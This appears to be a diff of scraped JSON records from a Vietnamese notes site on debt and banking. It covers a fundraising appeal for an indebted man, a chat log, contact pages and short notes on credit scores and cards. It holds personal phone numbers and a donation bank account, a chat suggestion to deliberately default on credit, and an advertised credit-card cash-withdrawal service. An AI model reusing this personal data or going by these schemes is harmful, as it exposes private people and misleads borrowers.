giá trị \r\nnên dù là mang tính sở hữu 100tr thẻ tín dụng, nhưng thực chất nó muốn anh nợ ngân hàng 100tr, chứ ko fai rút ra 100tr đó để làm tiền mất giá\r\ncứ nghĩ đơn giản, cứ 10 người sở hữu thẻ 100tr, ai cũng rút 100tr ra hết, làm tiền quá dư ở ngoài, tiền nhiều nên tiền đó sẽ mất giá trị, gọi là tiền rẻ\r\nnên nó mới tạo ra 2 dòng thẻ: debit vs credit card\r\ndebit = ngân hàng nợ mình\r\ncredit = mình nợ ngân hàng\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-30T07:43:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3m" }, { - "Tiêu đề": "Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Kendy/Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền", + "Tiêu đề": "Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm/bài-viết \r\n%%\r\n# Tóm tắt\r\n- Trước 15h ngày 8/6 Kendy cần có 11tr để có thể có thời gian làm việc trong vòng 1 tháng\r\n- Để đáp ứng được nhu cầu này, những cuộc trò chuyện với QC về sau sẽ có gợi ý đóng góp\r\n- Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường\r\n- Tiền tuy là một công cụ rất tiện để trao đổi nhu cầu, nhưng nó không phù hợp với tâm lý con người \r\n \r\n# Kendy là ai? \r\nKendy sinh năm 1993. Nhà có một người em chậm phát triển, và lương hưu bố mẹ thì không đủ sống. Một vợ một con. Quê ở Nha Trang, quê vợ ở Bà Rịa – Vũng Tàu. \r\n \r\nTrước đây Kendy làm trong ngành xây dựng. Ngành này thì phải nhậu rất nhiều để có mối quan hệ, nếu không thì công việc không trôi chảy được. Thấy làm trong đây không phải là tương lai mình muốn nên bỏ nghề.\r\n\r\nTheo lời kể thì Kendy bị lừa nhiều lần, đến nỗi tưởng đã bị gặm đến trơ cả xương rồi mà vẫn có người tìm cách lừa cho bằng được. Tuy nhiên vẫn cố gắng giữ vững giá trị sống của mình là không làm hại người khác. Hiện tại tổng số nợ gần 1.5 tỷ. Sau khi khất được những người có thể khất thì hằng tháng phải trả gần 40tr. Mỗi ngày 5 và ngày 20 hằng tháng phải trả 20tr.\r\n\r\nTrước đây vợ chồng Kendy để con ở nhà ông bà ngoại (aka bố mẹ vợ) để có thể đi làm trên thành phố. Nhưng do bà ngoại của vợ Kendy mới bị té gãy xương phải phẫu thuật, nên ông bà phải chăm. Mà như vậy thì con không ai chăm được cả, nên phải đem lên sống với ba mẹ ở TPHCM. Mà như vậy thì không thể làm việc được gì cả.\r\n\r\nĐể có thời gian xử lý nợ, xử lý cắt nợ, xây 1 hệ thống quản lý nợ và chi tiêu, và làm những công việc khác, thì Kendy chỉ còn cách kiếm người trông giúp. Khi nào con chưa được gửi thì bạn ấy gần như phải chăm con từ 5am - 11pm, mà ngủ đêm cũng phải tỉnh dậy nếu con giật mình. Mà con thức thì cũng không liên lạc nói chuyện được gì.\r\n\r\nHiện tại cũng đã có gửi con vào nhà trẻ, nhưng thời hạn nộp tiền quá gấp. Nếu không có tiền trước 15h ngày 8/6 thì không biết còn được nhận không. Số tiền cần có chính xác là 10.750k gồm: \r\n- Học phí 1 tháng: 4tr\r\n- Cơ sở vật chất: 2tr\r\n- Ăn + thuốc men: 1tr\r\n- Camera: 300k\r\n- Một vài thứ khác\r\n\r\nTình hình của bé: chưa quen môi trường môi trường mới, hiện sáng nào cũng quấy khóc đòi về, nên Kendy phải liên tục đi đi về về đón để bé dần quen. Kiểu như đang quen với ba mẹ, giờ vứt ở một môi trường mới cần thời gian rất dài để thích nghi, nên bữa giờ cứ 7h gửi là khóc đến 10h, cô giáo gọi đón về. \r\n\r\nTình hình của Kendy: cảm thấy rất ngộp thở vì không có thời gian riêng. Nhiều vấn đề chồng chéo cùng một lúc, nhưng bây giờ khi đang ở vị trí này lại phải nghĩ đến vị trí khác, bị phân tâm \r\n\r\n# Quả Cầu sẽ làm gì? \r\nĐể góp phần giải quyết vấn đề nợ một cách triệt để, bọn mình đang hỗ trợ xây dựng một mô hình kinh doanh. Kinh doanh gì thì cũng không dám nói ở đây. Nếu bạn có thể làm cho tụi mình cảm thấy bạn không có ý định chôm ý tưởng mà chỉ muốn giúp đỡ Kendy thì bọn mình sẵn sàng chia sẻ chi tiết. Nhưng có thể bật mí là nó liên quan đến nhân văn số (digital humanities). \r\n \r\nVề vấn đề cần tiền nhanh để có tiền gửi con, bọn mình làm bài viết này. Thực tế, như lời Kendy nói, là bạn đang có cách xoay sở 1/3 khoản nợ tổng, và sẽ có cách để trả số tiền 11tr này trong khoảng 3 tuần tới. Tức là bọn mình cũng có thể hỏi bạn bè vay tiền cũng rồi sau đó khi Kendy trả tiền thì bọn mình trả lại cũng được, nhưng có lẽ cách bền vững hơn là kêu gọi những khoản đóng góp không ràng buộc gì.\r\n\r\nVới những cuộc hẹn gặp mặt, nói chuyện, tư vấn, diễn thuyết sau này, bọn mình sẽ có một gợi ý bạn hỗ trợ cho Kendy với số tiền tối thiểu là 200k. Chủ đề sẽ là bất cứ thứ gì các bạn hứng thú. Bạn có thể tham khảo thêm các chủ đề trong Quả Cầu. Bạn có thể chọn nói chuyện riêng, nhưng nếu không có vấn đề gì thì bọn mình cũng khuyến khích cho mọi người cùng tham gia cho thêm nhiều góc nhìn và sự tương tác.\r\n\r\nĐây là danh sách những người đóng góp cho Kendy:\r\n\r\n\r\nCác đóng góp xin gửi vào đây:\r\n- Nguyễn Hữu Lộc\r\n- 0777.85.00.94\r\n- TPBank \r\n\r\n(Tất nhiên đây không phải là Kendy, chứ không thì mình đã nói thẳng tên của bạn ấy ra rồi. Bạn này sẽ giúp quản lý các nguồn tiền cho Kendy, để Kendy tập trung vào làm việc) \r\n\r\nXem thêm: Truyện ngụ ngôn về những người mong đợi\r\n\r\n# Từ Patreon…\r\nCó thể bạn có nghe nói về Patreon, một nền tảng gây quỹ cho những người làm sáng tạo nội dung. Trên Patreon có những hạng mức đóng góp, hạng càng cao thì càng có nhiều quyền lợi hơn. Hạng mức nhỏ thì được một lời cảm ơn, hạng mức vừa thì được đọc các bài viết độc quyền, còn hạng mức lớn thì được một giờ nói chuyện trực tiếp với tác giả. Nhưng nếu bạn nhìn lại, bạn sẽ thấy việc này [[Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ|gần với một cuộc mua bán hơn là ủng hộ]]. Tức là, [[Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường|sự vận hành thực chất của Patreon gần với kinh tế thị trường, dù nó sử dụng ngôn ngữ của kinh tế quà tặng để quảng cáo]].\r\n\r\nTrong bài viết [Nhìn lại năm 2020 khi làm một nhà nghiên cứu độc lập](https://andymatuschak.org/2020/) của Andy Matuschak, anh có đưa ra biểu đồ về số lượng người ủng hộ anh trên Patreon (patron) như sau:\r\n![](https://andymatuschak.org/static/2020/graph.png) \r\n\r\nLượng tăng đột biến vào tháng 5/2020 là khi anh quyết định sẽ viết thêm nhiều bài viết độc quyền chỉ những ai ủng hộ mới có. Và khi phỏng vấn trực tiếp những người ủng hộ tiền qua email, thì lý do \"Để được đọc các bài viết độc quyền\" chỉ chiếm vị trí thứ 2. Chiếm vị trí thứ nhất là một nhóm các lý do tương tự nhau và có thể quy lại về thành [[Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm|\"Muốn sản phẩm mà tác giả đang làm hoàn thành sớm hơn\"]]. Còn về lý do để ủng hộ những gì tác giả đã làm như một lời cảm ơn? Anh ngạc nhiên là nó rất hiếm khi là động lực để một người ủng hộ.\r\n\r\nNên khi bọn mình đưa ra một số tiền gợi ý cho những cuộc trò chuyện sắp tới không khác gì ra giá cả, thì không phải là từ nay bọn mình sẽ kinh doanh hiểu biết của bọn mình, mà là vì hiểu rằng thực chất thứ khiến các bạn có động lực trả tiền mạnh mẽ không phải là lòng thương người, mà là những sản phẩm trong tương lai bọn mình có thể đem tới cho các bạn nếu có thêm Kendy. Bọn mình không kêu gọi bạn thương Kendy; bọn mình kêu gọi bạn đầu tư vào bọn mình, để bọn mình làm ra những sản phẩm mà nếu bọn mình không làm thì không ai làm cả.\r\n\r\nMột số người cũng nhận ra được sự méo mó của việc ủng hộ trên Patreon này, và không muốn những người ủng hộ nghĩ theo hướng \"OK tôi đã đưa tiền cho bạn. Giờ bạn hãy nói chuyện với tôi trong một tiếng đồng hồ đi\". Với [Henry Zoo](https://github.com/sponsors/hzoo \"Sponsor @hzoo on GitHub Sponsors\"), anh đưa ra những mức giá để làm những điều mà không cần tiền anh cũng tự mình làm. Ví dụ như:\r\n- Trả $7/tháng để chơi boardgame với tôi\r\n- Trả $11/tháng để chơi bóng bàn với tôi\r\n- Trả $25/tháng để ăn thịt nướng với tôi\r\n- Trả $50/tháng để đua xe với tôi\r\n\r\nVới anh, chúng chỉ là những thứ ngẫu nhiên. Anh không ra giá cho sở thích của mình, mà đó chỉ là cái cớ để mọi người góp tiền mà thôi. Anh muốn tạo cảm giác vui vẻ hết mức, và nếu ai không góp tiền thì cũng không phải áy náy gì cả. Họ có thể đua xe với anh hoàn toàn miễn phí.\r\n\r\nBọn mình cũng sẽ áp dụng như thế.\r\n\r\nNếu đối tượng quyên góp tiền cho bạn không phải cá nhân mà là doanh nghiệp, hãy đọc bài viết này của Hà Lemmy: [Chiến dịch CSR hài lòng nhất?](https://halemmy.medium.com/chiến-dịch-csr-hài-lòng-nhất-ef0501337970)\r\n\r\n# …đến tâm lý của con người về tiền\r\n[[Tiền có nhiệm vụ làm trung gian cho việc trao đổi nhu cầu]]. Vấn đề là [[Tiền được lưu ở dạng vật chất, nhưng nhu cầu là một trạng thái tinh thần|nó là một hình thức vật chất, còn nhu cầu là một trạng thái tinh thần]]. Việc chuyển đổi một trạng thái tinh thần sang một hình thức vật chất như này phải nói là rất rất tiện, nhưng một nhược điểm của nó là [[Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý]]. Vì [[cảm giác mất mát là cảm giác tiêu cực]]. Có một thí nghiệm cho thấy con người thà không bị mất $100 còn hơn có được thêm $150. Trong khi đó, [[Cảm giác đáp ứng nhu cầu người khác là cảm giác tích cực|cảm giác đáp ứng nhu cầu người khác lại là cảm giác tích cực]]. [[Sự giúp đỡ người khác làm con người cảm thấy cuộc sống có ý nghĩa]]. Thật thú vị khi thấy một công cụ được sinh ra để chúng ta có thể hợp tác trên quy mô lớn hơn là tiền lại [[Tiền tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn|tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn]].\r\n\r\nChưa dừng lại ở đó, [[cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động]]. Thế nên là, mặc dù có thể khi đọc bài này trong bạn cũng có mong muốn giúp đỡ, nhưng chỉ cần nghĩ đến bước tiếp theo của việc giúp đỡ là mở tài khoản ngân hàng thì tim bạn lại nhói đau. Bạn sẽ phải chiến đấu với cái cảm giác vô lý đó, và việc đó cũng mệt mỏi. Nên bọn mình muốn không chỉ là khơi gợi lòng trắc ẩn ở trong bạn, mà là muốn bạn nhìn thẳng vào cảm giác mất mát giả tạo đó. Bọn mình muốn các bạn hiểu rằng các bạn không đóng góp tiền gì cả. Giả sử như số tiền bạn định cho bằng 3 tiếng lao động của bạn. Thì 3 tiếng đó chính là số thời gian bạn cùng với Kendy tạo ra những điều có ý nghĩa cho cả hai, để cả hai cùng phát triển. \r\n\r\nNhưng hay hơn cả, là có một cách thức để trao đổi nhu cầu mà không dùng tới tiền ngay từ đầu. Những thảo luận về [nền kinh tế không dùng tiền](https://en.wikipedia.org/wiki/Non-monetary_economy) đã có từ lâu, và công nghệ để đáp ứng nó cũng có từ lâu. Quả Cầu đang thử xây dựng mô hình này dựa trên Obsidian. Để biết thêm chi tiết xem tại [[Từ việc lưu dữ liệu tại chỗ đến sự h", + "Toàn bộ nội dung": "[[Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T12:36:00.000Z", - "Ngày cập nhật": "2024-07-28T07:08:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3n" }, { - "Tiêu đề": "1", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Nhật ký/1", + "Tiêu đề": "Ngân hàng ngại CIC có dính đến tín dụng ngoài hoặc ví trả sau, kể cả khi chưa quá hạn", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng ngại CIC có dính đến tín dụng ngoài hoặc ví trả sau, kể cả khi chưa quá hạn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\"Cô không cần đâu con.\" \r\n \r\n... \r\n \r\n– Dạ vậy con xin cảm ơn cô đã dành thời gian lắng nghe. \r\n \r\n... \r\n \r\nTôi lần thần bước ra xe. Vẫn hoang mang chưa hiểu rốt cuộc ý cô là sao. Cái gì mà \"cần phải trải nghiệm nhiều hơn\", \"cần phải vấp váp nhiều hơn để hiểu được thực tế\". Nói thật là tôi chỉ thấy buồn cười. Toàn những lời sáo rỗng dùng để dập tắt cuộc đối thoại (thought-terminating cliché). Những câu nói đó tệ tới mức bây giờ tôi chỉ còn nhớ ý của cô mà viết lại, chứ tất nhiên là mấy cái trích dẫn đó đâu có đúng 100% những gì cô nói. Tất cả những câu nói của bất kì nhân vật nào trong đây cũng vậy. Bạn đừng trông chờ gì vào trí nhớ của tôi. \r\n \r\n\"Nhưng con cần phải có ý chí và sự kiên trì.\" \r\n \r\n– Là sao cô? \r\n\r\n\"Thì đấy, nếu có ý chí và kiên trì thì chắc chắn con sẽ thành công.\" \r\n\r\nLà sao?? \r\n \r\nPhải chăng ý cô là tôi cứ kì kèo cô nói rõ ý cô là gì, hay chấp nhận ý tưởng của tôi? Tính hỏi lại như vậy nhưng tôi lại thấy hơi sờ sợ. Chợt nhớ ra điều cơ bản nhất của nhân học là quan sát. \r\n \r\n– Vậy không biết con có thể ở lại quan sát quán của mình được không? \r\n \r\n\"Được chứ. Con vào đi 😄\" \r\n \r\nTôi đã bước vào quán chè 75 Trần Huy Liệu như vậy đấy. \r\n \r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3o" }, { - "Tiêu đề": "Xù nợ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Xù nợ", + "Tiêu đề": "Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nkhoản vay bên đối tác moenyveo đã trễ hạn, tổng tiền 1,304,600 hôm nay cần xử lí trước 16h để tránh chuyển hs sang đối tác liên hệ nhắn nợ về người thân và công ty phản hồi để được hỗ trợ\n\ngiờ giả sử như hết sạch nợ thì em cần vay bao nhiêu để làm ăn?\nKendy: thôi a, xong nợ đã\ncòn số bao nhiêu để biz thì fai nhìn vào goal vs plan của biz chứ ko nói xuông đc a\nko vay bừa đâu a\ne biết sức nặng của lãi nên ko thể nói miệng hay random đc\nOoker: vì đằng nào cũng đang lên kế hoạch kiếm lãi cho em. Nên thôi thì xù tín dụng đi rồi kiếm lãi từ cái này\nngân hàng thì chắc phải qua anh đứng tên\nKendy: a xù rồi nó classify a nợ xấu 5 năm thì bank nào duyệt cho a\nOoker: anh có xù đâu, em xù mà?\nanh đứng tên vay rồi đưa lại em thôi\nKendy: a cũng chỉ vay đc vài lần và chưa chắc đủ hạn mức cao ko\nOoker: thì mới cần biết là cần vay bao nhiêu để xét mình cần mức hạn mức nào\nKendy: e chỉ giả thiết thôi ha, a vay bằng tín chấp, e ko rõ, nhưng thế chấp, thì hiện theo thông tin e thấy nhà hiện tại cũng ko có sổ thì how to vay thế chấp, với lại ko fai vay 1 lần đâu a\nOoker: thì mới cần biết là cần vay bao nhiêu\nKendy: a ko hiểu rồi, ko fai vay 1 cục đâu, vì lãi tính trên tổng\nnên chie vay theo từng chu kì cần\nnhư tổng cần 5 tỷ, a ko dại vay all 5 tỷ đâu mà chia ra\nOoker: kinh doanh gì mới cần tới cả 5 tỷ lận?\nKendy: giả sử\nnó ko fai vốn cố định đâu, ví dụ a cần 1 tỷ thì a fai cầm 3 tỷ để xoay dòng tiền\nA làm 1 ổ bánh mì hết 10đ date 1, a gửi đại lý, đại lý bán hết 7 date, rồi chuyển tiền về mất 2 date thì tổng: 10đ + lãi quay về cần tới 10 date, nghĩa là 9 date trừ ngày 1st, a vẫn tiếp tục phải có 10đ tiếp đề xoay đủ vòng vốn\n1st date 10đ vốn, 2nd date 10đ vốn tiếp (mẻ thứ 2) ….10th date 10đ vốn thì a thấy đó tuy chỉ có 10đ chi phí sản xuất nhưng a cần x10 dòng tiền = 100đ để vận hành\nchứ ko thì a chỉ sản xuất được mỗi 1st date, còn các date khác 2nd, 3rd, → 10th đều bị ứ động nếu ko có dòng tiền sẵn\ntrên là trường hợp lý tưởng, là đúng 10 ngày tiền vốn sẽ quay về lại, nhưng thực tế ko fai vậy luôn luôn là trục trặc: ex đại lý cần 30 ngày mới bán được, đại lý cần nợ tiền hàng vài thángg, ship trễ hàng, tiền bị nghẽn …. thì nếu a ko có dòng tiền backup, a chết ngay\nnó cực kì biến động, nên cái trên e ex 2 tỷ cần 5 tỷ nhanh vì e cầm đt chứ thực chất nó phải tính từ dòng tiền như trên meaning, bao lâu thì tiền gốc sẽ về lại tay mình\nKendy: a chuyển 10đ đi, thì bao lâu tiền về tay a\nnên ko fai biz là tiền hàng only ko a, a mua hàng 100tr, nhưng để 100tr này về nó là 1 process rất bự và ko fai chỉ con số 100tr là số cuối cần\n\n\nNgân hàng cũng chẳng muốn lấy nhà, xã hội đen cũng chẳng muốn giết, chỉ hù thôi chứ nếu biết nói chuyện thì họ cũng nương. Xã hội đen dễ chơi hơn ngân hàng. Khi thoả thuận thì lập giấy\n\nnên nói chuyện với ngân hàng\ncần biết cụ thể mỗi tháng bao nhiêu lãi. Khó khăn: \n- khi đang bị áp lực trả nợ thì cũng không có thời gian để nói cho người khác biết tình hình nợ của mình \n- không muốn cho người khác biết tình hình nợ vì sợ bị nghĩ là mình vòi tiền\n[[Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình]]\n\n[[Vay nóng nếu không trả sẽ bị bêu xấu với mọi người]]\n[[Xù nợ]]\n\n[[Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng]]", + "Toàn bộ nội dung": "VD: Áo 100k cuối tháng phải trả cho VNPAY là 2k. Chủ cửa hàng sẽ nâng giá 102k. Người dùng thẻ tín dụng phải trả. Còn người trả tiền mặt vẫn phải trả, nhưng không được CIC ghi nhận việc giao dịch đó\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-31T06:30:00.000Z", - "Ngày cập nhật": "2024-08-31T06:33:00.000Z", + "Ngày tạo": "2024-06-26T07:06:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3p" }, { - "Tiêu đề": "Hồng Thị Tuyết Nhi", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Người chơi/Hồng Thị Tuyết Nhi", + "Tiêu đề": "Rút tiền mặt tại cửa hàng là bị cấm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Rút tiền mặt tại cửa hàng là bị cấm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Người chơi", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "SĐT:: 0336 408 666", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-27T10:00:00.000Z", - "Ngày cập nhật": "2024-08-28T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3q" }, { - "Tiêu đề": "Nguyễn Hữu Lộc", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Người chơi/Nguyễn Hữu Lộc", + "Tiêu đề": "Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Người chơi", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "0783865410", - "Toàn bộ nội dung": "SĐT:: 0783865410\n\n- [[Bảo hiểm nhân thọ|Tặng bảo hiểm nhân thọ]]\n\n## Dịch vụ\n| Dịch vụ | Phí | Ghi chú |\n| ------------------------------------------------------------------------------------------ | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |\n| Đăng ký vay | 5% | Không cần cọc hay trả trước. Cam kết thấp hơn tất cả các bên khác (nếu bên khác nhận thấp hơn và giải ngân thành công) |\n| Mở thẻ tín dụng (sắp có) | 15% | nt | \n| Rút tiền thẻ tín dụng |
  • MASTER CARD, JCB, VISA: 1.5%
  • NAPAS: 1.2%
  • | |\n| Thuê máy cà thẻ | 250k/tháng | |\n| Giải pháp thanh toán mã QR, quản lý bán hàng tăng thêm doanh thu, loa thông báo thanh toán | Miễn phí | |\n\n## Bán\n| Món đồ | Giá | Ghi chú |\n| ---------------------------------- | ---- | ---------------------- |\n| Màn hình 27 inch 2k | 2tr5 | |\n| Laptop i3 SSD 4 GB | 2tr5 | |\n| Giấy dán tường PVC 10 × 0.45 m | 90k | Mua trên 10c |\n| Tất cả hàng tạp hóa, bán lẻ giá sỉ | | VD: Hảo Hảo 112k/thùng |", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-22T12:15:00.000Z", - "Ngày cập nhật": "2024-08-22T15:15:00.000Z", + "Ngày tạo": "2024-06-26T07:06:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3r" }, { - "Tiêu đề": "Chương trình quản lý chi tiêu cá nhân", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân/Chương trình quản lý chi tiêu cá nhân", + "Tiêu đề": "Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng: `=[[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]].tính-năng`\r\n\r\nBài chi tiết:\r\n```dataview\r\nLIST\r\nFROM \"📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân\" \r\nWHERE file.name != this.file.name\r\n```\r\n\r\n\r\n\r\nLink: https://www.figma.com/design/9M7qILhSJRZKvKvJf9pYpG/Slide\r\n\r\n\r\n\r\nLink: https://www.figma.com/design/AvWYdwVsMzPJzrvZzvz76h/Untitled\r\n\r\n", + "Toàn bộ nội dung": "tín dụng là cho vay dựa trên uy tín cá nhân\r\n\r\nví trả sau duyệt dễ, online, nên hạn mức lèo tèo dưới 10tr, và đặc biệt khó huỷ\r\nthẻ tín dụng yêu cầu nhiều bằng chứng, và ngân hàng phải nắm đằng đầu mình thì nó mới cho hạn mức\r\nthế chấp cũng có, tín chấp gián tiếp cũng khó\r\nnó ko huỷ được luôn chứ ko fai khó huỷ\r\nví dụ việc cấp thẻ tín dụng\r\nanh cầm đồ 1 sổ tiết kiệm 100tr, thì ngân hàng có thể cân nhắc cấp cho anh 1 thẻ tín dụng 90tr. hoặc a có số tiết kiệm 2tỷ, ko cần cằm, nhưng ngân hàng nắm thông tin này, nó có thể cấp thẻ ở dạng tín chấp cho anh 200 300tr\r\nbản chất cũng là nó cần nắm thóp mình\r\n\r\n[[Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC]]\r\n[[Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T13:27:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3s" }, { - "Tiêu đề": "Tiềm năng thị trường", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân/Tiềm năng thị trường", + "Tiêu đề": "Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Đối thủ cạnh tranh\r\nTheo dữ liệu của Money Lover, hơn 60% (1.2 triệu user) sau khi sử dụng và tải app đã xóa app hoặc không sử dụng. Daily active không thường xuyên. Một người dùng cho biết họ cũng chỉ làm những cái được nhiều người la ó nhất.\r\n\r\nXem thêm:: [[Chương trình ghi chép thu chi cá nhân|So sánh tính năng giữa chương trình ghi chép thu chi cá nhân]]\r\n\r\n## Tiềm năng đầu tư\r\nViệc phân loại chi tiêu cũng là bước đầu tiên để một người gia nhập thị trường tài chính. Nó có thể giúp các ngân hàng tiếp cận những người không dùng tài khoản ngân hàng (nhóm unbanked). Nhất là với nhóm đối tượng học sinh, khi họ chưa đủ 18 tuổi để mở tài khoản ngân hàng. Đây là một mỏ dữ liệu cho các nhà đầu tư.\r\n\r\nÝ tưởng đã lọt được vào sự chú ý của [J.D.Everest](https://www.jdeverest.com/), một công ty tư vấn chiến lược cho các công ty quản lý tài sản gia đình (family office) và quỹ đầu tư tư nhân (private equity investment) ở Việt Nam. Theo [LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/) thì anh này trước khi sáng lập J.D.Everest thì từng là:\r\n- Thạc sĩ hệ thống thông tin,\r\n- Giám đốc điều hành số của [Early Risers Media Group](https://tuoitre.vn/early-risers-ke-hoach-dua-phim-viet-ra-the-gioi-20220424113728409.htm \"Early Risers và kế hoạch đưa phim Việt ra thế giới - Tuổi Trẻ Online\"), quản lý cho phim *Để Mai Tính*, *Long Ruồi*\r\n - [Người sáng lập công ty này](https://tuoitre.vn/vy-vincent-ngo---nguoi-tram-lang-271245.htm) viết kịch bản cho phim *Hancook* và sửa chữa kịch bản cho *Dòng máu anh hùng* và *Lửa Phật*\r\n- Đồng sáng lập *Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF)*\r\n\r\nBạn có thể xem [[J.D. Everest|các ghi chép của bọn mình khi ngồi nói chuyện với họ]].\r\n\r\nBên này nói rằng nếu làm app thu chi cá nhân và đánh thị trường Hàn Quốc trước thì khả năng ăn là 70%, vì bọn này mới thắng crypto. Tuy nhiên, chị Hoà, từng làm fintech cho 